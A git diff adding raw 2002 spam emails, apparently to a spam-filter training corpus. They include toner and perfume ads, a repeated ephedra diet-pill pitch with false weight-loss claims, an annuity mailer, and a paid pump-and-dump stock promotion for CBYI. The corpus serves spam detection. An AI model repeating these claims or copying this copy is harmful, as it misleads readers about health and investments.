    +    38 --- E-40 Toner Cartridge for PC-720, 740, 770, 790,795, 920, 950, 980 - +$ 85.50
    +38A -- E-20 Toner Cartridge for PC-310, 325, 330, 330L, 400, 420, 430 ---- +$ 85.50
     +

    +

    Item   +Xerox    Price

    +

    39 ---- 6R900 75A ---- $ 55.50
    +    40 ---- 6R903 98A ---- $ 46.50
    +41 ---- 6R902 95A ---- $ 49.50
    +    42 ---- 6R901 91A ---- $ 65.50
    +43 ---- 6R908 06A ---- $ 42.50
    +    44 ---- 6R899 74A ---- $ 47.50
    +45 ---- 6R928 96A ---- $ 72.50
    +    46 ---- 6R926 27X ---- $ 84.50
    +47 ---- 6R906 09A ---- $ 92.50
    +    48 ---- 6R907 4MV ---- $ 89.50
    +49 ---- 6R905 03A ---- $ 46.50

    +

    30 Day unlimited warranty included on all +products
    +GT Toner Supplies guarantees these cartridges to be free from defects in +workmanship and material.     +     +

    +

    We look +forward in doing business with you. +

    +

    Customer  +Satisfaction guaranteed +

    +

    +If you are ordering by e-mail or +c.o.d. please fill out an order
    +form with the following information:        +         + 

    +    phone number
    +company name
    +first and last name
    +street address
    +city, state zip code                                +    Order Now or +call toll free 1-866-237-7397 +

    +    If you are ordering by purchase order please fill out an order form
    +with the following information:                +

    +

    purchase order number
    +phone number
    +company or school name
    +shipping address and billing address
    +city, state zip code                                +    Order +Now

    +

    All trade marks and brand names listed above are property +of the respective
    +holders and used for descriptive purposes only.     +     +     +     +

    + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01017.11a80131a2ae31ad0a9969189de3c2bb b/bayes/spamham/spam_2/01017.11a80131a2ae31ad0a9969189de3c2bb new file mode 100644 index 0000000..60e5105 --- /dev/null +++ b/bayes/spamham/spam_2/01017.11a80131a2ae31ad0a9969189de3c2bb @@ -0,0 +1,497 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NJXvhY044076 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 14:33:58 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6NJXvww044073 + for cypherpunks-forward@ds.pro-ns.net; Tue, 23 Jul 2002 14:33:57 -0500 (CDT) +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NJXrhX044031 + for ; Tue, 23 Jul 2002 14:33:54 -0500 (CDT) + (envelope-from cpunks@einstein.ssz.com) +X-Authentication-Warning: hq.pro-ns.net: Host cpunks@[207.200.56.4] claimed to be einstein.ssz.com +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id OAA16455 + for cypherpunks@ds.pro-ns.net; Tue, 23 Jul 2002 14:42:34 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id OAA16442 + for cypherpunks-outgoing; Tue, 23 Jul 2002 14:42:30 -0500 +Received: from localhost ([211.192.32.104]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id OAA16432 + for ; Tue, 23 Jul 2002 14:42:23 -0500 +Message-Id: <200207231942.OAA16432@einstein.ssz.com> +From: GodSmell +To: cypherpunks@einstein.ssz.com +Subject: [±¤°í]¸íÇ°Çâ¼ö&¸íÇ°È­ÀåÇ° +Mime-Version: 1.0 +Content-Type: text/html; charset="ks_c_5601-1987" +Date: Thu, 25 Jul 2002 04:57:09 +0900 +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish +Content-Transfer-Encoding: quoted-printable +X-MIME-Autoconverted: from 8bit to quoted-printable by hq.pro-ns.net id g6O1WAhX085540 + + + +top + + + + + + + + + + + + + +
    + + +
    + + + + +
    +
    +
    +=BE=C8=B3=E7=C7=CF=BC=BC=BF=E4.
    +=C0=FA=C8=F1 GodSmell=C0=BA =B8=ED=C7=B0=C7=E2=BC=F6=B8=A6 =C0=FC=B9=AE=C0= +=FB=C0=B8=B7=CE =C6=C7=B8=C5=C7=CF=B4=C2 =C7=E2=BC=F6 =C0=FC=B9=AE =BC=EE= +=C7=CE=B8=F4=C0=D4=B4=CF=B4=D9.
    +=B9=E9=C8=AD=C1=A1 =B0=A1=B0=DD=B0=FA =BA=F1=B1=B3=C7=D8=BA=B8=BC=BC=BF=E4= +!
     + + + + + +
    3D"=C3=DF=C3=B5=BB=F3=C7=B0=C0=D4=B4=CF=B4=D9" +
    +
    + + + + + + + + + + + + + + + + + + +
     
    += + + +
    + +
    + +=B1=D7=B8=B0=C6=BC 50ml +
    24,000=BF=F8= +
    +    		 + + + +
    + +
    + +=BC=F6=C0=CC=B7=AF=BA=EA 30ml +
    32,000=BF=F8= +
    +    		 + += + + +
    + +
    + +=B0=D6=B6=FB =C5=F5=C0=A9=C4=C9잌 +
    48,000=BF=F8= +
    +    		 + + + +
    + +
    + +=B6=FB=C4=DE =B9=CC=B6=F3=C5=AC 7ml +
    10,000=BF=F8= +
    +
     
    + + +
    + +
    + +=B8=A3=BA=FC =B0=D5=C1=B6 30ml +
    22,000=BF=F8= +
    +    		 + += + + +
    + +
    + +=C7=C3=B6=F3=BF=F6 =B9=D9=C0=CC =B0=D5=C1=B6 4ml +
    10,000=BF=F8= +
    +    		 + + + +
    + +
    + +=B9=CC=B6=F3=C5=AC 30ml +
    41,000=BF=F8= +
    +    		 + + + +
    + +
    + +=BE=C8=B3=AA=BC=F6=C0=CC 30ml +
    25,000=BF=F8= +
    + +

    +=C8=CE=BE=C0 =B4=F5 =C0=FA=B7=C5=C7=CF=C1=D2?^^"
    +=C0=FA=C8=F1 GodSmell=C0=BA =B4=D9=B8=A5 =C7=E2=BC=F6 =BC=EE=C7=CE=B8=F4=B0= +=FA=B4=C2 =B4=DE=B8=AE =BD=C5=BB=F3=C7=B0=B5=B5 =B8=B9=C0=CC =B1=B8=BA=F1= +=B5=C7=BE=EE =C0=D6=B4=E4=B4=CF=B4=D9.
     + + + + + +
     
    3D"=C3=DF=C3=B5=BB=F3=C7=B0=C0=D4=B4=CF=B4=D9"
     
    + + + + + + + + + + + + + + + + + +
    += + + +
    + +
    + +=BF=EF=C6=AE=B6=F3=B9=D9=C0=CC=BF=C3=B7=BF =BE=C6=C4=ED=BE=C6=C6=BD =C7=C3= +=B6=F3=BD=BA=C6=BD(2002=C7=D1=C1=A4) 80ml +
    35,000=BF=F8= +
    +    		 + + + +
    + +
    + +=B5=F0=BE=EE =BF=A1=BD=BA=BB=DA=BE=C6 =BF=C8=B9=C7 50ml +
    30,000=BF=F8= +
    +    		 + += + + +
    + +
    + +=B4=BA =B4=EB=B3=AA=B9=AB =B0=D5=C1=B6 30ml +
    27,000=BF=F8= +
    +    		 + + + +
    + +
    + +=B5=F0=BE=EE =BF=A1=BD=BA=BB=DA=BE=C6 30ml +
    27,000=BF=F8= +
    +
     
    += + + +
    + +
    + +=B4=DE=B8=AE =BD=BA=C5=B8=C0=CF 30ml +
    24,000=BF=F8= +
    +    		 + + + +
    + +
    + +=C0=E7=B1=D4=BE=EE 40ml +
    30,000=BF=F8= +
    +    		 + += + + +
    + +
    + +=BF=EF=C6=AE=B6=F3 =B9=D9=C0=CC=BF=C3=B7=BF =C6=F7=B8=C7 50ml +
    30,000=BF=F8= +
    +    		 + += + + +
    + +
    + +=BF=C0=C0=CF=B8=B1=B8=AE 30ml +
    21,000=BF=F8= +
    +
    +
    + +
    +
    +=C0=FA=C8=F1 GodSmell=C0=BA =BB=E7=C0=BA=C7=B0=B5=B5 =BE= +=C6=C1=D6 =C7=AA=C1=FC=C7=CF=B4=E4=B4=CF=B4=D9.
    +=BE=EE=BC=AD =BB=A1=B8=AE =BC=EE=C7=CE=C0=C7 =C1=F1=B0=C5=BF=F2=C0=BB =B8= +=B8=B3=A3=C7=CF=BC=BC=BF=E4~!^^"
    +
    +
    +*******=BB=F3=C7=B0=C0=BB =C5=AC=B8=AF=C7=CF=BD=C3=B8=E9 GodSmell=B7=CE =C0= +=CC=B5=BF=C7=D5=B4=CF=B4=D9!^^"*******

     + +
    +
    +Copyright =A8=CF =B0=AB=BD=BA=B8=E1=C7=E2=BC=F6 All Rights Reserved. 019-= +476-9314
    +=BB=F3=C8=A3=B8=ED : GODSMELL =BB=E7=BE=F7=C0=DA=B5=EE=B7=CF=B9=F8=C8=A3= + : 206-11-48025 =B4=EB=C7=A5 : =C7=D1=B1=D4=BD=C4
    +=BB=E7=BE=F7=C0=E5=BC=D2=C0=E7=C1=F6 : =BC=AD=BF=EF=BD=C3 =BC=BA=B5=BF=B1= +=B8 =C7=E0=B4=E71=B5=BF 286-23 =C1=A4=BF=EC=BA=F4=B5=F9 305=C8=A3
    +
    +
    +=BA=BB =B8=DE=C0=CF=C0= +=BA =C1=A4=BA=B8=C5=EB=BD=C5=BA=CE =B1=C7=B0=ED =BB=E7=C7=D7=BF=A1 =C0=C7= +=B0=C5 +=C1=A6=B8=F1=BF=A1 [=B1=A4=B0=ED]=B6=F3 =C7=A5=BD=C3=B5=C8 =B1=A4=B0=ED =B8= +=DE=C0=CF=C0=D4=B4=CF=B4=D9.
    + +=BC=F6=BD=C5= +=B0=C5=BA=CE +=B9=F6=C6=B0=C0=BB =C5=AC= +=B8=AF=C7=CF=BD=C3=B8=E9 =BC=F6=BD=C5=B0=C5=BA=CE=C3=B3=B8=AE=B0=A1 =C0=CC= +=B7=E7=BE=EE =C1=FD=B4=CF=B4=D9. +
    +
    +

    +The certai= +nly big +help is will become firm belief like this to send the mail to the minutes +when, our services use the transactions the at the electron it +gives.   To the minutes when it refuses the mail reception the = +toil +which stands it is but it will grow a reception refusal, when lik it does= +, it +will eliminate you mail from our data immediately and it will give. the v= +ery last on push + +

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    = + + + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01020.291c3b0685eedf6178cc323bb8e2ce55 b/bayes/spamham/spam_2/01020.291c3b0685eedf6178cc323bb8e2ce55 new file mode 100644 index 0000000..703a715 --- /dev/null +++ b/bayes/spamham/spam_2/01020.291c3b0685eedf6178cc323bb8e2ce55 @@ -0,0 +1,92 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6O2a1hY010356 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 21:36:01 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6O2a1Nu010353 + for cypherpunks-forward@ds.pro-ns.net; Tue, 23 Jul 2002 21:36:01 -0500 (CDT) +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6O2ZxhX010328 + for ; Tue, 23 Jul 2002 21:35:59 -0500 (CDT) + (envelope-from cpunks@einstein.ssz.com) +X-Authentication-Warning: hq.pro-ns.net: Host cpunks@[207.200.56.4] claimed to be einstein.ssz.com +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id VAA26412 + for cypherpunks@ds.pro-ns.net; Tue, 23 Jul 2002 21:44:37 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id VAA26390 + for cypherpunks-outgoing; Tue, 23 Jul 2002 21:44:28 -0500 +Received: from yahoo.com (nobody@[210.95.127.129]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id VAA26382 + for ; Tue, 23 Jul 2002 21:44:21 -0500 +From: latest7567h44@yahoo.com +Message-ID: <026e73b85c7c$1423d3b7$5cd66db8@vqmlfv> +To: AOL.Users@einstein.ssz.com +Subject: Long distance 1335Pv-6 +Date: Wed, 24 Jul 2002 11:15:29 -0900 +MiME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" +X-Priority: 3 (Normal) +X-MSMail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.2627 +Importance: Normal +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish + + + +

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    You = +are +receiving this email because you requested to receive info and updates vi= +a +email. + +To unsubscribe, reply to this email with "unsubscribe" in the subject or +simply click on the following link: Unsubscribe
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If you've been like me, you've been trying +trying almost EVERYTHING to lose weight.=A0 I know how you feel +- the special diets, miracle pills, and fancy exercise=20 +equipment never helped me lose the pounds I needed to lose +either.=A0 It seemed like the harder I worked at it, the less +weight I lost - until I heard about 'Extreme Power Plus'. + +You're probably thinking to yourself, "Oh geez, not another +miracle diet pill!"=A0 Like you, I was skeptical at first, but=20 +my sister said it helped her lose 23 pounds in just 2 weeks,=20 +so I told her I'd give it a try.=A0 I mean, there was nothing=20 +to lose except a lot of weight!=A0 Let me tell you, it was +the best decision I've ever made. PERIOD. Six months later, +as I'm writing this message to you, I've gone from 355 pounds +to 210 pounds, and I haven't changed my exercise routine or diet +at all.=A0 Yes, I still eat pizza, and lots of it! + +I was so happy with the results that I contacted the manufacturer +and received permission to resell it - at a HUGE discount.=A0I feel +the need to help other people lose weight like I did, because it +does so much for your self-esteem, not to mention your health. +I am giving you my personal pledge that 'Extreme Power Plus' +absolutely WILL WORK FOR YOU. 100 % Money-Back GUARANTEED! + +If you are frustrated with trying other products, without having=20 +any success, and just not getting the results you were promised, +then I recommend the only product that worked for me -=20 +'EXTREME POWER PLUS'! + +You're probably asking yourself, "Ok, so how does this stuff +actually work?" + +Extreme Power Plus contains Lipotropic fat burners and ephedra which=20 +is scientifically proven to increase metabolism and cause rapid=20 +weight loss. No "hocus pocus" in these pills - just RESULTS!!!=20 + +Here is the bottom line ... + +I can help you lose 10-15 pounds per week naturally, without +exercising and without having to eat rice cakes all day.=A0=20 +Just try it for one month - there's pounds to lose and confidence=20 +to gain!=A0 You will lose weight fast - GUARANTEED.=A0 This is my +pledge to you. + +BONUS! Order NOW & get FREE SHIPPING on 3 bottles or more!=A0=20 + +To order Extreme Power Plus on our secure server, just click +on this link -> http://www.2002dietspecials.com/ + +To see what some of our customers have said about this product,=20 +visit http://www.2002dietspecials.com/testimonials.shtml + +To see a list of ingredients and for more information +on test studies and how it will help you lose weight, visit=20 +http://www.2002dietspecials.com/ingre1.shtml + +************************************************************** +If you feel that you have received this email in error, please=20 +send an email to "print2@btamail.net.cn" requesting to be=20 +removed. Thank you, and we apologize for any inconvenience. +************************************************************** + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01024.5b32720b2ad57ee16bd959a5cf58f575 b/bayes/spamham/spam_2/01024.5b32720b2ad57ee16bd959a5cf58f575 new file mode 100644 index 0000000..e45f012 --- /dev/null +++ b/bayes/spamham/spam_2/01024.5b32720b2ad57ee16bd959a5cf58f575 @@ -0,0 +1,49 @@ +Received: from uuout10smtp6.uu.flonetwork.com (uuout10smtp6.uu.flonetwork.com [205.150.6.36]) + by linux.midrange.com (8.11.6/8.11.6) with ESMTP id g6OLTCe16779 + for ; Wed, 24 Jul 2002 16:29:14 -0500 +Received: from UUCORE14PUMPER2 (uuout10relay1.uu.flonetwork.com [172.20.70.10]) + by uuout10smtp6.uu.flonetwork.com (Postfix) with SMTP id 96510D19D + for ; Wed, 24 Jul 2002 17:29:31 -0400 (EDT) +Message-Id: +From: Consumer Today +To: gibbs@midrange.com +Subject: Free New Cars for the Taking! +MIME-Version: 1.0 +Content-Type: text/html; charset="us-ascii" +Content-Transfer-Encoding: 7bit +Date: Wed, 24 Jul 2002 17:29:31 -0400 (EDT) +X-Status: +X-Keywords: + + + + +
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LOSE 88 LB OR 8 SIZES SEE PROOF 32349 +Date: Wed, 24 Jul 2002 05:52:07 -1600 +MIME-Version: 1.0 +Content-Type: text/plain; + charset="Windows-1252" +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish +Content-Transfer-Encoding: quoted-printable +X-MIME-Autoconverted: from 8bit to quoted-printable by hq.pro-ns.net id g6OFIRhX009071 + +Long time no chat! + +How have you been? If you've been like me, you've been trying +trying almost EVERYTHING to lose weight.=A0 I know how you feel +- the special diets, miracle pills, and fancy exercise=20 +equipment never helped me lose the pounds I needed to lose +either.=A0 It seemed like the harder I worked at it, the less +weight I lost - until I heard about 'Extreme Power Plus'. + +You're probably thinking to yourself, "Oh geez, not another +miracle diet pill!"=A0 Like you, I was skeptical at first, but=20 +my sister said it helped her lose 23 pounds in just 2 weeks,=20 +so I told her I'd give it a try.=A0 I mean, there was nothing=20 +to lose except a lot of weight!=A0 Let me tell you, it was +the best decision I've ever made. PERIOD. Six months later, +as I'm writing this message to you, I've gone from 355 pounds +to 210 pounds, and I haven't changed my exercise routine or diet +at all.=A0 Yes, I still eat pizza, and lots of it! + +I was so happy with the results that I contacted the manufacturer +and received permission to resell it - at a HUGE discount.=A0I feel +the need to help other people lose weight like I did, because it +does so much for your self-esteem, not to mention your health. +I am giving you my personal pledge that 'Extreme Power Plus' +absolutely WILL WORK FOR YOU. 100 % Money-Back GUARANTEED! + +If you are frustrated with trying other products, without having=20 +any success, and just not getting the results you were promised, +then I recommend the only product that worked for me -=20 +'EXTREME POWER PLUS'! + +You're probably asking yourself, "Ok, so how does this stuff +actually work?" + +Extreme Power Plus contains Lipotropic fat burners and ephedra which=20 +is scientifically proven to increase metabolism and cause rapid=20 +weight loss. No "hocus pocus" in these pills - just RESULTS!!!=20 + +Here is the bottom line ... + +I can help you lose 10-15 pounds per week naturally, without +exercising and without having to eat rice cakes all day.=A0=20 +Just try it for one month - there's pounds to lose and confidence=20 +to gain!=A0 You will lose weight fast - GUARANTEED.=A0 This is my +pledge to you. + +BONUS! Order NOW & get FREE SHIPPING on 3 bottles or more!=A0=20 + +To order Extreme Power Plus on our secure server, just click +on this link -> http://www.2002dietspecials.com/ + +To see what some of our customers have said about this product,=20 +visit http://www.2002dietspecials.com/testimonials.shtml + +To see a list of ingredients and for more information +on test studies and how it will help you lose weight, visit=20 +http://www.2002dietspecials.com/ingre1.shtml + +************************************************************** +If you feel that you have received this email in error, please=20 +send an email to "print2@btamail.net.cn" requesting to be=20 +removed. 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    We are beginning to realize that with the advancement in technology= +,
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    + + + + + + + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01029.d08161f9c60d767804dd9b5148a82025 b/bayes/spamham/spam_2/01029.d08161f9c60d767804dd9b5148a82025 new file mode 100644 index 0000000..0c56dd5 --- /dev/null +++ b/bayes/spamham/spam_2/01029.d08161f9c60d767804dd9b5148a82025 @@ -0,0 +1,305 @@ +From dna@insurancemail.net Thu Jul 25 11:19:12 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C8C85440D0 + for ; Thu, 25 Jul 2002 06:19:06 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:19:06 +0100 (IST) +Received: from mail1.insuranceiq.com (host66.insuranceiq.com + [65.217.159.66] (may be forged)) by dogma.slashnull.org (8.11.6/8.11.6) + with ESMTP id g6ONQJ414655 for ; Thu, 25 Jul 2002 00:26:20 + +0100 +Received: from mail pickup service by mail1.insuranceiq.com with Microsoft + SMTPSVC; Wed, 24 Jul 2002 19:26:04 -0400 +Subject: Free Multi-Generational Sales Kit +To: +Date: Wed, 24 Jul 2002 19:26:04 -0400 +From: "IQ - DNA Brokerage" +Message-Id: <1ecde01c23369$7af8bee0$6b01a8c0@insuranceiq.com> +MIME-Version: 1.0 +X-Mailer: Microsoft CDO for Windows 2000 +Thread-Index: AcIzVKBChWbQSXtHQSG6vVtnp5aR3g== +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Content-Class: urn:content-classes:message +X-Originalarrivaltime: 24 Jul 2002 23:26:04.0953 (UTC) FILETIME=[7B17B890:01C23369] +Content-Type: multipart/alternative; boundary="----=_NextPart_000_0007_01C23333.1932BF20" + +This is a multi-part message in MIME format. + +------=_NextPart_000_0007_01C23333.1932BF20 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit + + FREE Multi-Generational Sales Kit + + Just ask for our Simple 7 annuity product kit! + + _____ + + Simple Seven(tm) Product Highlights + Short 7 Year Surrender Period + 2% Premium Bonus on First Year Premium + Free Multi-Generational Sales Kit (Stretch IRA Concept) + 75% Participation Rate + Issue Ages 0-90 Qualified or Non-Qualified + No Fees, Margins or Spreads + _____ + +Call today for more information! + 800-245-2801 +? or ? + +Please fill out the form below for more information +Name: +Address: +City: State: Zip: +E-mail: +Phone: + + + + DNA Brokerage + + + +FOR AGENT USE ONLY. NOT INTENDED FOR CONSUMER SOLICITATION PURPOSES. The +Simple Seven is issued on forms LC126A (group cert) or LS126A +(individual contract) by North American Company for Life and Health +Insurance, Chicago, Illinois. This product and some of its features is +not available in all states. + +We don't want anyone to receive our mailings who does not wish to. This +is professional communication sent to insurance professionals. To be +removed from this mailing list, DO NOT REPLY to this message. Instead, +go here: http://www.Insurancemail.net + +Legal Notice + +------=_NextPart_000_0007_01C23333.1932BF20 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +Free Multi-Generational Sales Kit + + + +=20 + + =20 + + + =20 + + +
    +
    + =20 +
    + 3D"Just=20 +
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    + 3D"Simple3D"Product=20 + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + +
    Short 7 Year Surrender Period
    2% Premium Bonus on First Year Premium
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    +

    FOR AGENT USE ONLY. NOT = +INTENDED FOR=20 + CONSUMER SOLICITATION PURPOSES. The Simple Seven is issued = +on forms=20 + LC126A (group cert) or LS126A (individual contract) by = +North American=20 + Company for Life and Health Insurance, Chicago, Illinois. = +This product=20 + and some of its features is not available in all = +states.

    +
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    =20 +

    We = +don't want anyone=20 + to receive our mailings who does not wish to. This is = +professional communication=20 + sent to insurance professionals. To be removed from this mailing = +list,=20 + DO NOT REPLY to this message. Instead, go here: =20 + http://www.Insurancemail.net

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    + + +karen + + + + + diff --git a/bayes/spamham/spam_2/01031.f8f0ee32c41a34cb5e4744d18d3ed76e b/bayes/spamham/spam_2/01031.f8f0ee32c41a34cb5e4744d18d3ed76e new file mode 100644 index 0000000..ae30391 --- /dev/null +++ b/bayes/spamham/spam_2/01031.f8f0ee32c41a34cb5e4744d18d3ed76e @@ -0,0 +1,99 @@ +From xe8xekv2v2683@hotmail.com Wed Jul 24 13:02:33 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F29C3440CC + for ; Wed, 24 Jul 2002 08:02:30 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 13:02:30 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6OC3a411237 for + ; Wed, 24 Jul 2002 13:03:37 +0100 +Received: from inserver.insightnews.com ([63.228.14.49]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6OC2Xp18285 for + ; Wed, 24 Jul 2002 13:02:37 +0100 +Received: from mx06.hotmail.com (ACC30CA8.ipt.aol.com [172.195.12.168]) by + inserver.insightnews.com with SMTP (Microsoft Exchange Internet Mail + Service Version 5.5.2653.13) id PQ2WR39M; Wed, 24 Jul 2002 07:07:13 -0500 +Message-Id: <00001b452d3f$000042af$000029e7@mx06.hotmail.com> +To: +Cc: , , + , , , + , +From: "Michelle" +Subject: Are your loved ones provided for?... ZJGU +Date: Wed, 24 Jul 2002 04:56:22 -1900 +MIME-Version: 1.0 +Reply-To: xe8xekv2v2683@hotmail.com +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + +
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    +
    + = + + Fo= +r + Immediate Release
    +
    +
    +

    + + Cal-Bay (Stock Symbol: CBYI) + Watch for analyst =22Strong Buy Recommendations=22 and sev= +eral advisory newsletters + picking CBYI.   CBYI has filed to be traded on the = +;OTCBB, + share prices historically INCREASE when companies get listed + on this larger trading exhange. CBYI is trading around 25 ce= +nts + and should skyrocket to =242.66 - =243.25 a share in the near futur= +e.   + Put CBYI on your watch list, acquire a postion + TODAY. + = + + +

    REASONS TO INVEST IN CBYI +

  • A profitable company and is on = +track to beat ALL + earnings estimates + =21 +
  • One of the FASTEST growing distrib= +utors in environmental & safety + equipment instruments. +
  • = + + Excellent management team= +, several EXCLUSIVE + contracts.  IMPRESSIVE client list including the U.S. A= +ir Force, + Anheuser-Busch, Chevron Refining and Mitsubishi Heavy Industries,= + + GE-Energy & Environmental Research. +

    + RAPID= +LY GROWING INDUSTRY 
    Industry revenues exceed =24900 mil= +lion, estimates indicate that there + could be as much as =2425 billion from =22smell technology=22 by the= + end of + 2003.

    +

    + =21=21=21= +=21=21 CONGRATULATIONS + =21=21=21=21=21
    Our last recommendation to buy ORBT a= +t + =241.29 rallied and is holding steady at =244.51=21&n= +bsp; + Congratulations to all our subscribers that took advantage of thi= +s + recommendation.

    +

    + = + +






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    + Certain statements contained in this news release m= +ay be +forward-looking statements within the meaning of The Private Securities= + +Litigation Reform Act of 1995. These statements may be identified by su= +ch terms +as =22expect=22, =22believe=22, =22may=22, =22will=22, and =22intend=22 or simila= +r terms. We are NOT +a registered investment advisor or a broker dealer. This is NOT an offe= +r to buy +or sell securities. No recommendation that the securities of the compan= +ies +profiled should be purchased, sold or held by individuals or entities t= +hat learn +of the profiled companies. We were paid =2427,000 in cash by a third par= +ty to +publish this report. Investing in companies profiled is high-risk and u= +se of +this information is for reading purposes only. If anyone decides to act= + as an +investor, then it will be that investor's sole risk. Investors are advi= +sed NOT +to invest without the proper advisement from an attorney or a registere= +d +financial broker. Do not rely solely on the information presented, do a= +dditional +independent research to form your own opinion and decision regarding in= +vesting +in the profiled companies. Be advised that the purchase of such high-ri= +sk +securities may result in the loss of your entire investment. = + + The owners of this publication may already own free trading sha= +res in +CBYI and may immediately sell all or a portion of these shares into the= + open +market at or about the time this report is published.  Factual sta= +tements +are made as of the date stated and are subject to change without notice= +.  +Not intended for recipients or residents of CA,CO,CT,DE,ID, + IL,IA,LA,MO,NV,NC,OK,OH,PA,RI,TN,VA,WA,WV,WI. Void where +prohibited.  + Copyright c 2001

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    + + + + +------=_NextPart_480_83855460462270663-- + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/01036.87c1f0b55cb48bd36c8863cf700cd485 b/bayes/spamham/spam_2/01036.87c1f0b55cb48bd36c8863cf700cd485 new file mode 100644 index 0000000..9c8e2ed --- /dev/null +++ b/bayes/spamham/spam_2/01036.87c1f0b55cb48bd36c8863cf700cd485 @@ -0,0 +1,67 @@ +From fork-admin@xent.com Thu Jul 25 11:10:15 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BA581440D7 + for ; Thu, 25 Jul 2002 06:09:42 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:09:42 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6P2GZ424912 for ; + Thu, 25 Jul 2002 03:16:36 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 